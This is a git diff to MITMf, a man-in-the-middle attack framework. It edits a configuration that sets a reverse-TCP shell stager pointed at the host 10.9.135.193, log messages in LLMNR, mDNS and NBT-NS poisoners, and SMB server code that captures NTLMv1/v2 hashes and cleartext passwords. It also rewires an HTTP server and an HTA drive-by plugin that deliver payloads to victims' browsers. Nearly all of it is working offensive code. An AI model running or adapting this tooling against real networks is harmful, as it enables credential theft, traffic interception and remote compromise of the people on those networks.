diff --git a/config/mitmf.conf b/config/mitmf.conf
index d6d58fe..955d4b0 100644
--- a/config/mitmf.conf
+++ b/config/mitmf.conf
@@ -446,8 +446,8 @@
[[[[WindowsIntelx86]]]]
PATCH_TYPE = SINGLE #JUMP/SINGLE/APPEND
# PATCH_METHOD overwrites PATCH_TYPE with jump
- PATCH_METHOD = automatic
- HOST = 192.168.1.88
+ PATCH_METHOD =
+ HOST = 10.9.135.193
PORT = 8444
SHELL = iat_reverse_tcp_stager_threaded
SUPPLIED_SHELLCODE = None
@@ -458,8 +458,8 @@
[[[[WindowsIntelx64]]]]
PATCH_TYPE = APPEND #JUMP/SINGLE/APPEND
# PATCH_METHOD overwrites PATCH_TYPE with jump
- PATCH_METHOD = automatic
- HOST = 192.168.1.16
+ PATCH_METHOD =
+ HOST = 10.9.135.193
PORT = 8088
SHELL = iat_reverse_tcp_stager_threaded
SUPPLIED_SHELLCODE = None
diff --git a/core/html/htadriveby.html b/core/html/htadriveby.html
index f35ff4e..83dc1dc 100644
--- a/core/html/htadriveby.html
+++ b/core/html/htadriveby.html
@@ -54,7 +54,7 @@ newHTML.innerHTML = ' \
\
\
- \
- \
+ \
\
diff --git a/core/poisoners/ARP.py b/core/poisoners/ARP.py
index 4de8021..24e0b0f 100644
--- a/core/poisoners/ARP.py
+++ b/core/poisoners/ARP.py
@@ -38,8 +38,10 @@ class ARPpoisoner:
except AddrFormatError as e:
sys.exit("Specified an invalid IP address as gateway")
- self.gatewaymac = getmacbyip(options.gateway)
- if self.gatewaymac is None: sys.exit("Error: Could not resolve gateway's MAC address")
+ self.gatewaymac = options.gatewaymac
+ if options.gatewaymac is None:
+ self.gatewaymac = getmacbyip(options.gateway)
+ if not self.gatewaymac: sys.exit("Error: could not resolve Gateway's mac address")
self.ignore = self.get_range(options.ignore)
if self.ignore is None: self.ignore = []
diff --git a/core/poisoners/LLMNR.py b/core/poisoners/LLMNR.py
index e8f7733..6779da1 100644
--- a/core/poisoners/LLMNR.py
+++ b/core/poisoners/LLMNR.py
@@ -80,7 +80,6 @@ def IsICMPRedirectPlausible(IP):
if x !="127.0.0.1" and IsOnTheSameSubnet(x,IP) == False:
settings.Config.AnalyzeLogger.warning("[Analyze mode: ICMP] You can ICMP Redirect on this network.")
settings.Config.AnalyzeLogger.warning("[Analyze mode: ICMP] This workstation (%s) is not on the same subnet than the DNS server (%s)." % (IP, x))
- settings.Config.AnalyzeLogger.warning("[Analyze mode: ICMP] Use `python tools/Icmp-Redirect.py` for more details.")
else:
pass
@@ -107,14 +106,14 @@ class LLMNRServer(BaseRequestHandler):
# Analyze Mode
if settings.Config.AnalyzeMode:
- settings.Config.AnalyzeLogger.warning("[Analyze mode: LLMNR]{} Request by {} for {}, ignoring".format(self.client_address[0], Name))
+ settings.Config.AnalyzeLogger.warning("{} [Analyze mode: LLMNR] Request for {}, ignoring".format(self.client_address[0], Name))
# Poisoning Mode
else:
Buffer = LLMNR_Ans(Tid=data[0:2], QuestionName=Name, AnswerName=Name)
Buffer.calculate()
soc.sendto(str(Buffer), self.client_address)
- settings.Config.PoisonersLogger.warning("[LLMNR] Poisoned answer sent to {} for name {}".format(self.client_address[0], Name))
+ settings.Config.PoisonersLogger.warning("{} [LLMNR] Poisoned request for name {}".format(self.client_address[0], Name))
if Finger is not None:
settings.Config.ResponderLogger.info("[FINGER] OS Version: {}".format(Finger[0]))
diff --git a/core/poisoners/MDNS.py b/core/poisoners/MDNS.py
index 19f1fc9..c6ee0c7 100644
--- a/core/poisoners/MDNS.py
+++ b/core/poisoners/MDNS.py
@@ -87,7 +87,7 @@ class MDNSServer(BaseRequestHandler):
# Analyze Mode
if settings.Config.AnalyzeMode:
if Parse_IPV6_Addr(data):
- settings.Config.AnalyzeLogger.warning('[Analyze mode: MDNS] Request by %-15s for %s, ignoring' % (self.client_address[0], Request_Name))
+ settings.Config.AnalyzeLogger.warning('{} [Analyze mode: MDNS] Request for {}, ignoring'.format(self.client_address[0], Request_Name))
# Poisoning Mode
else:
@@ -98,7 +98,7 @@ class MDNSServer(BaseRequestHandler):
Buffer.calculate()
soc.sendto(str(Buffer), (MADDR, MPORT))
- settings.Config.PoisonersLogger.warning('[MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0], Request_Name))
+ settings.Config.PoisonersLogger.warning('{} [MDNS] Poisoned answer for name {}'.format(self.client_address[0], Request_Name))
except Exception:
raise
\ No newline at end of file
diff --git a/core/poisoners/NBTNS.py b/core/poisoners/NBTNS.py
index c7cc350..6163fa9 100644
--- a/core/poisoners/NBTNS.py
+++ b/core/poisoners/NBTNS.py
@@ -86,7 +86,7 @@ class NBTNSServer(BaseRequestHandler):
# Analyze Mode
if settings.Config.AnalyzeMode:
- settings.Config.AnalyzeLogger.warning("[Analyze mode: NBT-NS] Request by %s for %s, ignoring" % (self.client_address[0], Name))
+ settings.Config.AnalyzeLogger.warning("{} [Analyze mode: NBT-NS] Request for {}, ignoring".format(self.client_address[0], Name))
# Poisoning Mode
else:
@@ -94,8 +94,8 @@ class NBTNSServer(BaseRequestHandler):
Buffer.calculate(data)
socket.sendto(str(Buffer), self.client_address)
- settings.Config.PoisonersLogger.warning("[NBT-NS] Poisoned answer sent to %s for name %s (service: %s)" % (self.client_address[0], Name, NBT_NS_Role(data[43:46])))
+ settings.Config.PoisonersLogger.warning("{} [NBT-NS] Poisoned answer for name {} (service: {})" .format(self.client_address[0], Name, NBT_NS_Role(data[43:46])))
if Finger is not None:
- settings.Config.ResponderLogger.info("[FINGER] OS Version : %s" % Finger[0])
- settings.Config.ResponderLogger.info("[FINGER] Client Version : %s" % Finger[1])
+ settings.Config.ResponderLogger.info("[FINGER] OS Version : {}".format(Finger[0]))
+ settings.Config.ResponderLogger.info("[FINGER] Client Version : {}".format(Finger[1]))
diff --git a/core/servers/HTTP.py b/core/servers/HTTP.py
index 1765f6b..adb4d1d 100644
--- a/core/servers/HTTP.py
+++ b/core/servers/HTTP.py
@@ -34,6 +34,20 @@ log = logger().setup_logger("HTTP", formatter)
class HTTP:
+ static_endpoints = {}
+ endpoints = {}
+
+ @staticmethod
+ def add_endpoint(url, content_type, payload):
+ Buffer = ServeHtmlFile(ContentType="Content-Type: {}\r\n".format(content_type), Payload=payload)
+ Buffer.calculate()
+ HTTP.endpoints['/' + url] = Buffer
+
+ @staticmethod
+ def add_static_endpoint(url, content_type, path):
+ Buffer = ServeHtmlFile(ContentType="Content-Type: {}\r\n".format(content_type))
+ HTTP.static_endpoints['/' + url] = {'buffer': Buffer, 'path': path}
+
def start(self):
try:
if OsInterfaceIsSupported():
@@ -41,7 +55,7 @@ class HTTP:
else:
server = ThreadingTCPServer(('', 80), HTTP1)
- t = threading.Thread(name='SMB', target=server.serve_forever)
+ t = threading.Thread(name='HTTP', target=server.serve_forever)
t.setDaemon(True)
t.start()
@@ -156,7 +170,7 @@ def RespondWithFile(client, filename, dlname=None):
Buffer = ServeHtmlFile(Payload = ServeFile(filename))
Buffer.calculate()
- log.info("[HTTP] Sending file {} to {}".format(filename, client))
+ log.info("{} [HTTP] Sending file {}".format(filename, client))
return str(Buffer)
@@ -166,12 +180,16 @@ def GrabURL(data, host):
POSTDATA = re.findall('(?<=\r\n\r\n)[^*]*', data)
if GET:
- log.info("[HTTP] GET request from: {} URL: {}".format(host, ''.join(GET)))
+ req = ''.join(GET).strip()
+ log.info("[HTTP] {} - - GET '{}'".format(host, req))
+ return req
if POST:
- log.info("[HTTP] POST request from: {} URL: {}".format(host, ''.join(POST)))
+ req = ''.join(POST).strip()
+ log.info("[HTTP] {} - - POST '{}'".format(host, req))
if len(''.join(POSTDATA)) > 2:
log.info("[HTTP] POST Data: {}".format(''.join(POSTDATA).strip()))
+ return req
# Handle HTTP packet sequence.
def PacketSequence(data, client):
@@ -209,7 +227,7 @@ def PacketSequence(data, client):
ParseHTTPHash(NTLM_Auth, client)
if settings.Config.Force_WPAD_Auth and WPAD_Custom:
- log.info("[HTTP] WPAD (auth) file sent to %s" % client)
+ log.info("{} [HTTP] WPAD (auth) file sent".format(client))
return WPAD_Custom
else:
@@ -234,7 +252,7 @@ def PacketSequence(data, client):
if settings.Config.Force_WPAD_Auth and WPAD_Custom:
if settings.Config.Verbose:
- log.info("[HTTP] WPAD (auth) file sent to %s" % client)
+ log.info("{} [HTTP] Sent WPAD (auth) file" .format(client))
return WPAD_Custom
else:
@@ -246,12 +264,12 @@ def PacketSequence(data, client):
if settings.Config.Basic == True:
Response = IIS_Basic_401_Ans()
if settings.Config.Verbose:
- log.info("[HTTP] Sending BASIC authentication request to %s" % client)
+ log.info("{} [HTTP] Sending BASIC authentication request".format(client))
else:
Response = IIS_Auth_401_Ans()
if settings.Config.Verbose:
- log.info("[HTTP] Sending NTLM authentication request to %s" % client)
+ log.info("{} [HTTP] Sending NTLM authentication request to".format(client))
return str(Response)
@@ -263,13 +281,26 @@ class HTTP1(BaseRequestHandler):
while True:
self.request.settimeout(1)
data = self.request.recv(8092)
- GrabURL(data, self.client_address[0])
+ req_url = GrabURL(data, self.client_address[0])
Buffer = WpadCustom(data, self.client_address[0])
if Buffer and settings.Config.Force_WPAD_Auth == False:
self.request.send(Buffer)
if settings.Config.Verbose:
- log.info("[HTTP] WPAD (no auth) file sent to %s" % self.client_address[0])
+ log.info("{} [HTTP] Sent WPAD (no auth) file".format(self.client_address[0]))
+
+ if (req_url is not None) and (req_url.strip() in HTTP.endpoints):
+ resp = HTTP.endpoints[req_url.strip()]
+ self.request.send(str(resp))
+
+ if (req_url is not None) and (req_url.strip() in HTTP.static_endpoints):
+ path = HTTP.static_endpoints[req_url.strip()]['path']
+ Buffer = HTTP.static_endpoints[req_url.strip()]['buffer']
+ with open(path, 'r') as file:
+ Buffer.fields['Payload'] = file.read()
+
+ Buffer.calculate()
+ self.request.send(str(Buffer))
else:
Buffer = PacketSequence(data,self.client_address[0])
@@ -294,7 +325,7 @@ class HTTPS(StreamRequestHandler):
if Buffer and settings.Config.Force_WPAD_Auth == False:
self.exchange.send(Buffer)
if settings.Config.Verbose:
- log.info("[HTTPS] WPAD (no auth) file sent to %s" % self.client_address[0])
+ log.info("{} [HTTPS] Sent WPAD (no auth) file".format(self.client_address[0]))
else:
Buffer = PacketSequence(data,self.client_address[0])
diff --git a/core/servers/SMB.py b/core/servers/SMB.py
index f9c3da5..e03bd74 100644
--- a/core/servers/SMB.py
+++ b/core/servers/SMB.py
@@ -27,22 +27,22 @@ from core.responder.utils import *
class SMB:
- def start(self):
- try:
- if OsInterfaceIsSupported():
- server1 = ThreadingTCPServer((settings.Config.Bind_To, 445), SMB1)
- server2 = ThreadingTCPServer((settings.Config.Bind_To, 139), SMB1)
- else:
- server1 = ThreadingTCPServer(('', 445), SMB1)
- server2 = ThreadingTCPServer(('', 139), SMB1)
+ def start(self):
+ try:
+ if OsInterfaceIsSupported():
+ server1 = ThreadingTCPServer((settings.Config.Bind_To, 445), SMB1)
+ server2 = ThreadingTCPServer((settings.Config.Bind_To, 139), SMB1)
+ else:
+ server1 = ThreadingTCPServer(('', 445), SMB1)
+ server2 = ThreadingTCPServer(('', 139), SMB1)
- for server in [server1, server2]:
- t = threading.Thread(name='SMB', target=server.serve_forever)
- t.setDaemon(True)
- t.start()
- except Exception as e:
- print "Error starting SMB server: {}".format(e)
- print_exc()
+ for server in [server1, server2]:
+ t = threading.Thread(name='SMB', target=server.serve_forever)
+ t.setDaemon(True)
+ t.start()
+ except Exception as e:
+ print "Error starting SMB server: {}".format(e)
+ print_exc()
class ThreadingTCPServer(ThreadingMixIn, TCPServer):
@@ -58,52 +58,61 @@ class ThreadingTCPServer(ThreadingMixIn, TCPServer):
# Detect if SMB auth was Anonymous
def Is_Anonymous(data):
- SecBlobLen = struct.unpack(' 260:
- LMhashLen = struct.unpack(' 260:
+ LMhashLen = struct.unpack(' 60:
- SMBHash = SSPIStart[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
- DomainLen = struct.unpack(' 60:
+ SMBHash = SSPIStart[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
+ DomainLen = struct.unpack(' 25:
- FullHash = data[65+LMhashLen:65+LMhashLen+NthashLen].encode('hex')
- LmHash = FullHash[:32].upper()
- NtHash = FullHash[32:].upper()
- WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, settings.Config.NumChal, LmHash, NtHash)
-
- SaveToDb({
- 'module': 'SMB',
- 'type': 'NTLMv2',
- 'client': client,
- 'user': Domain+'\\'+Username,
- 'hash': NtHash,
- 'fullhash': WriteHash,
- })
+ if NthashLen > 25:
+ FullHash = data[65+LMhashLen:65+LMhashLen+NthashLen].encode('hex')
+ LmHash = FullHash[:32].upper()
+ NtHash = FullHash[32:].upper()
+ WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, settings.Config.NumChal, LmHash, NtHash)
+
+ SaveToDb({
+ 'module': 'SMB',
+ 'type': 'NTLMv2',
+ 'client': client,
+ 'user': Domain+'\\'+Username,
+ 'hash': NtHash,
+ 'fullhash': WriteHash,
+ })
- if NthashLen == 24:
- NtHash = data[65+LMhashLen:65+LMhashLen+NthashLen].encode('hex').upper()
- LmHash = data[65:65+LMhashLen].encode('hex').upper()
- WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LmHash, NtHash, settings.Config.NumChal)
+ if NthashLen == 24:
+ NtHash = data[65+LMhashLen:65+LMhashLen+NthashLen].encode('hex').upper()
+ LmHash = data[65:65+LMhashLen].encode('hex').upper()
+ WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LmHash, NtHash, settings.Config.NumChal)
- SaveToDb({
- 'module': 'SMB',
- 'type': 'NTLMv1',
- 'client': client,
- 'user': Domain+'\\'+Username,
- 'hash': NtHash,
- 'fullhash': WriteHash,
- })
+ SaveToDb({
+ 'module': 'SMB',
+ 'type': 'NTLMv1',
+ 'client': client,
+ 'user': Domain+'\\'+Username,
+ 'hash': NtHash,
+ 'fullhash': WriteHash,
+ })
def IsNT4ClearTxt(data, client):
- HeadLen = 36
+ HeadLen = 36
- if data[14:16] == "\x03\x80":
- SmbData = data[HeadLen+14:]
- WordCount = data[HeadLen]
- ChainedCmdOffset = data[HeadLen+1]
+ if data[14:16] == "\x03\x80":
+ SmbData = data[HeadLen+14:]
+ WordCount = data[HeadLen]
+ ChainedCmdOffset = data[HeadLen+1]
- if ChainedCmdOffset == "\x75":
- PassLen = struct.unpack(' 2:
+ if PassLen > 2:
- Password = data[HeadLen+30:HeadLen+30+PassLen].replace("\x00","")
- User = ''.join(tuple(data[HeadLen+30+PassLen:].split('\x00\x00\x00'))[:1]).replace("\x00","")
- settings.Config.ResponderLogger.info("[SMB] Clear Text Credentials: %s:%s" % (User,Password))
- WriteData(settings.Config.SMBClearLog % client, User+":"+Password, User+":"+Password)
+ Password = data[HeadLen+30:HeadLen+30+PassLen].replace("\x00","")
+ User = ''.join(tuple(data[HeadLen+30+PassLen:].split('\x00\x00\x00'))[:1]).replace("\x00","")
+ settings.Config.ResponderLogger.info("[SMB] Clear Text Credentials: %s:%s" % (User,Password))
+ WriteData(settings.Config.SMBClearLog % client, User+":"+Password, User+":"+Password)
# SMB Server class, NTLMSSP
class SMB1(BaseRequestHandler):
- def handle(self):
- try:
- while True:
- data = self.request.recv(1024)
- self.request.settimeout(1)
+ def handle(self):
+ try:
+ while True:
+ data = self.request.recv(1024)
+ self.request.settimeout(1)
- if len(data) < 1:
- break
+ if len(data) < 1:
+ break
- ##session request 139
- if data[0] == "\x81":
- Buffer = "\x82\x00\x00\x00"
- self.request.send(Buffer)
- try:
- data = self.request.recv(1024)
- except:
- pass
+ ##session request 139
+ if data[0] == "\x81":
+ Buffer = "\x82\x00\x00\x00"
+ try:
+ self.request.send(Buffer)
+ data = self.request.recv(1024)
+ except:
+ pass
- # Negociate Protocol Response
- if data[8:10] == "\x72\x00":
- # \x72 == Negociate Protocol Response
- Header = SMBHeader(cmd="\x72",flag1="\x88", flag2="\x01\xc8", pid=pidcalc(data),mid=midcalc(data))
- Body = SMBNegoKerbAns(Dialect=Parse_Nego_Dialect(data))
- Body.calculate()
-
- Packet = str(Header)+str(Body)
- Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
+ # Negociate Protocol Response
+ if data[8:10] == "\x72\x00":
+ # \x72 == Negociate Protocol Response
+ Header = SMBHeader(cmd="\x72",flag1="\x88", flag2="\x01\xc8", pid=pidcalc(data),mid=midcalc(data))
+ Body = SMBNegoKerbAns(Dialect=Parse_Nego_Dialect(data))
+ Body.calculate()
+
+ Packet = str(Header)+str(Body)
+ Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
- self.request.send(Buffer)
- data = self.request.recv(1024)
+ self.request.send(Buffer)
+ data = self.request.recv(1024)
- # Session Setup AndX Request
- if data[8:10] == "\x73\x00":
- IsNT4ClearTxt(data, self.client_address[0])
-
- # STATUS_MORE_PROCESSING_REQUIRED
- Header = SMBHeader(cmd="\x73",flag1="\x88", flag2="\x01\xc8", errorcode="\x16\x00\x00\xc0", uid=chr(randrange(256))+chr(randrange(256)),pid=pidcalc(data),tid="\x00\x00",mid=midcalc(data))
- Body = SMBSession1Data(NTLMSSPNtServerChallenge=settings.Config.Challenge)
- Body.calculate()
-
- Packet = str(Header)+str(Body)
- Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
+ # Session Setup AndX Request
+ if data[8:10] == "\x73\x00":
+ IsNT4ClearTxt(data, self.client_address[0])
+
+ # STATUS_MORE_PROCESSING_REQUIRED
+ Header = SMBHeader(cmd="\x73",flag1="\x88", flag2="\x01\xc8", errorcode="\x16\x00\x00\xc0", uid=chr(randrange(256))+chr(randrange(256)),pid=pidcalc(data),tid="\x00\x00",mid=midcalc(data))
+ Body = SMBSession1Data(NTLMSSPNtServerChallenge=settings.Config.Challenge)
+ Body.calculate()
+
+ Packet = str(Header)+str(Body)
+ Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
- self.request.send(Buffer)
- data = self.request.recv(4096)
+ self.request.send(Buffer)
+ data = self.request.recv(4096)
- # STATUS_SUCCESS
- if data[8:10] == "\x73\x00":
- if Is_Anonymous(data):
- Header = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid="\x00\x00",uid=uidcalc(data),mid=midcalc(data))###should always send errorcode="\x72\x00\x00\xc0" account disabled for anonymous logins.
- Body = SMBSessEmpty()
+ # STATUS_SUCCESS
+ if data[8:10] == "\x73\x00":
+ if Is_Anonymous(data):
+ Header = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid="\x00\x00",uid=uidcalc(data),mid=midcalc(data))###should always send errorcode="\x72\x00\x00\xc0" account disabled for anonymous logins.
+ Body = SMBSessEmpty()
- Packet = str(Header)+str(Body)
- Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
+ Packet = str(Header)+str(Body)
+ Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
- self.request.send(Buffer)
+ self.request.send(Buffer)
- else:
- # Parse NTLMSSP_AUTH packet
- ParseSMBHash(data,self.client_address[0])
+ else:
+ # Parse NTLMSSP_AUTH packet
+ ParseSMBHash(data,self.client_address[0])
- # Send STATUS_SUCCESS
- Header = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
- Body = SMBSession2Accept()
- Body.calculate()
+ # Send STATUS_SUCCESS
+ Header = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
+ Body = SMBSession2Accept()
+ Body.calculate()
- Packet = str(Header)+str(Body)
- Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
+ Packet = str(Header)+str(Body)
+ Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
- self.request.send(Buffer)
- data = self.request.recv(1024)
-
- # Tree Connect AndX Request
- if data[8:10] == "\x75\x00":
- ParseShare(data)
- # Tree Connect AndX Response
- Header = SMBHeader(cmd="\x75",flag1="\x88", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00", pid=pidcalc(data), tid=chr(randrange(256))+chr(randrange(256)), uid=uidcalc(data), mid=midcalc(data))
- Body = SMBTreeData()
- Body.calculate()
+ self.request.send(Buffer)
+ data = self.request.recv(1024)
+
+ # Tree Connect AndX Request
+ if data[8:10] == "\x75\x00":
+ ParseShare(data)
+ # Tree Connect AndX Response
+ Header = SMBHeader(cmd="\x75",flag1="\x88", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00", pid=pidcalc(data), tid=chr(randrange(256))+chr(randrange(256)), uid=uidcalc(data), mid=midcalc(data))
+ Body = SMBTreeData()
+ Body.calculate()
- Packet = str(Header)+str(Body)
- Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
+ Packet = str(Header)+str(Body)
+ Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
- self.request.send(Buffer)
- data = self.request.recv(1024)
+ self.request.send(Buffer)
+ data = self.request.recv(1024)
- ##Tree Disconnect.
- if data[8:10] == "\x71\x00":
- Header = SMBHeader(cmd="\x71",flag1="\x98", flag2="\x07\xc8", errorcode="\x00\x00\x00\x00",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
- Body = "\x00\x00\x00"
+ ##Tree Disconnect.
+ if data[8:10] == "\x71\x00":
+ Header = SMBHeader(cmd="\x71",flag1="\x98", flag2="\x07\xc8", errorcode="\x00\x00\x00\x00",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
+ Body = "\x00\x00\x00"
- Packet = str(Header)+str(Body)
- Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
-
- self.request.send(Buffer)
- data = self.request.recv(1024)
-
- ##NT_CREATE Access Denied.
- if data[8:10] == "\xa2\x00":
- Header = SMBHeader(cmd="\xa2",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
- Body = "\x00\x00\x00"
+ Packet = str(Header)+str(Body)
+ Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
+
+ self.request.send(Buffer)
+ data = self.request.recv(1024)
+
+ ##NT_CREATE Access Denied.
+ if data[8:10] == "\xa2\x00":
+ Header = SMBHeader(cmd="\xa2",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
+ Body = "\x00\x00\x00"
- Packet = str(Header)+str(Body)
- Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
+ Packet = str(Header)+str(Body)
+ Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
- self.request.send(Buffer)
- data = self.request.recv(1024)
-
- ##Trans2 Access Denied.
- if data[8:10] == "\x25\x00":
- Header = SMBHeader(cmd="\x25",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
- Body = "\x00\x00\x00"
+ self.request.send(Buffer)
+ data = self.request.recv(1024)
+
+ ##Trans2 Access Denied.
+ if data[8:10] == "\x25\x00":
+ Header = SMBHeader(cmd="\x25",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
+ Body = "\x00\x00\x00"
- Packet = str(Header)+str(Body)
- Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
+ Packet = str(Header)+str(Body)
+ Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
- self.request.send(Buffer)
- data = self.request.recv(1024)
-
- ##LogOff.
- if data[8:10] == "\x74\x00":
- Header = SMBHeader(cmd="\x74",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
- Body = "\x02\xff\x00\x27\x00\x00\x00"
+ self.request.send(Buffer)
+ data = self.request.recv(1024)
+
+ ##LogOff.
+ if data[8:10] == "\x74\x00":
+ Header = SMBHeader(cmd="\x74",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
+ Body = "\x02\xff\x00\x27\x00\x00\x00"
- Packet = str(Header)+str(Body)
- Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
+ Packet = str(Header)+str(Body)
+ Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
- self.request.send(Buffer)
- data = self.request.recv(1024)
+ self.request.send(Buffer)
+ data = self.request.recv(1024)
- except socket.timeout:
- pass
+ except socket.timeout:
+ pass
# SMB Server class, old version
class SMB1LM(BaseRequestHandler):
- def handle(self):
- try:
- self.request.settimeout(0.5)
- data = self.request.recv(1024)
-
- ##session request 139
- if data[0] == "\x81":
- Buffer = "\x82\x00\x00\x00"
- self.request.send(Buffer)
- data = self.request.recv(1024)
-
- ##Negotiate proto answer.
- if data[8:10] == "\x72\x00":
- head = SMBHeader(cmd="\x72",flag1="\x80", flag2="\x00\x00",pid=pidcalc(data),mid=midcalc(data))
- Body = SMBNegoAnsLM(Dialect=Parse_Nego_Dialect(data),Domain="",Key=settings.Config.Challenge)
- Body.calculate()
- Packet = str(head)+str(Body)
- Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
- self.request.send(Buffer)
- data = self.request.recv(1024)
-
- ##Session Setup AndX Request
- if data[8:10] == "\x73\x00":
- if Is_LMNT_Anonymous(data):
- head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
- Packet = str(head)+str(SMBSessEmpty())
- Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
- self.request.send(Buffer)
+ def handle(self):
+ try:
+ self.request.settimeout(0.5)
+ data = self.request.recv(1024)
+
+ ##session request 139
+ if data[0] == "\x81":
+ Buffer = "\x82\x00\x00\x00"
+ self.request.send(Buffer)
+ data = self.request.recv(1024)
+
+ ##Negotiate proto answer.
+ if data[8:10] == "\x72\x00":
+ head = SMBHeader(cmd="\x72",flag1="\x80", flag2="\x00\x00",pid=pidcalc(data),mid=midcalc(data))
+ Body = SMBNegoAnsLM(Dialect=Parse_Nego_Dialect(data),Domain="",Key=settings.Config.Challenge)
+ Body.calculate()
+ Packet = str(head)+str(Body)
+ Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
+ self.request.send(Buffer)
+ data = self.request.recv(1024)
+
+ ##Session Setup AndX Request
+ if data[8:10] == "\x73\x00":
+ if Is_LMNT_Anonymous(data):
+ head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
+ Packet = str(head)+str(SMBSessEmpty())
+ Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
+ self.request.send(Buffer)
- else:
- ParseLMNTHash(data,self.client_address[0])
- head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
- Packet = str(head)+str(SMBSessEmpty())
- Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
- self.request.send(Buffer)
- data = self.request.recv(1024)
+ else:
+ ParseLMNTHash(data,self.client_address[0])
+ head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
+ Packet = str(head)+str(SMBSessEmpty())
+ Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
+ self.request.send(Buffer)
+ data = self.request.recv(1024)
- except Exception:
- self.request.close()
- pass
+ except Exception:
+ self.request.close()
+ pass
diff --git a/mitmf.py b/mitmf.py
index f0a7dc8..f4c756f 100755
--- a/mitmf.py
+++ b/mitmf.py
@@ -82,7 +82,7 @@ from core.logger import logger
formatter = logging.Formatter("%(asctime)s %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
log = logger().setup_logger("MITMf", formatter)
-log.debug("MITMf started:{}".format(sys.argv))
+log.debug("MITMf started: {}".format(sys.argv))
from core.sslstrip.CookieCleaner import CookieCleaner
from core.proxyplugins import ProxyPlugins
diff --git a/plugins/htadriveby.py b/plugins/htadriveby.py
index bec4f5f..e32a56c 100644
--- a/plugins/htadriveby.py
+++ b/plugins/htadriveby.py
@@ -30,24 +30,18 @@ class HTADriveBy(Inject, Plugin):
def initialize(self, options):
self.bar_text = options.text
self.ip = options.ip
+ self.hta = options.hta_app.split('/')[-1]
Inject.initialize(self, options)
self.html_payload = self.get_payload()
from core.servers.HTTP import HTTP
- def hta_request(path):
- if path == options.hta_app.split('/')[-1]:
- with open(options.hta_app) as hta_file:
- resp = flask.Response(hta_file.read())
-
- resp.headers['Content-Type'] = "application/hta"
- return resp
-
- HTTPserver().add_endpoint(hta_request)
+ HTTP.add_static_endpoint(self.hta, "application/hta", options.hta_app)
def get_payload(self):
with open("./core/html/htadriveby.html", 'r') as file:
payload = re.sub("_TEXT_GOES_HERE_", self.bar_text, file.read())
payload = re.sub("_IP_GOES_HERE_", self.ip, payload)
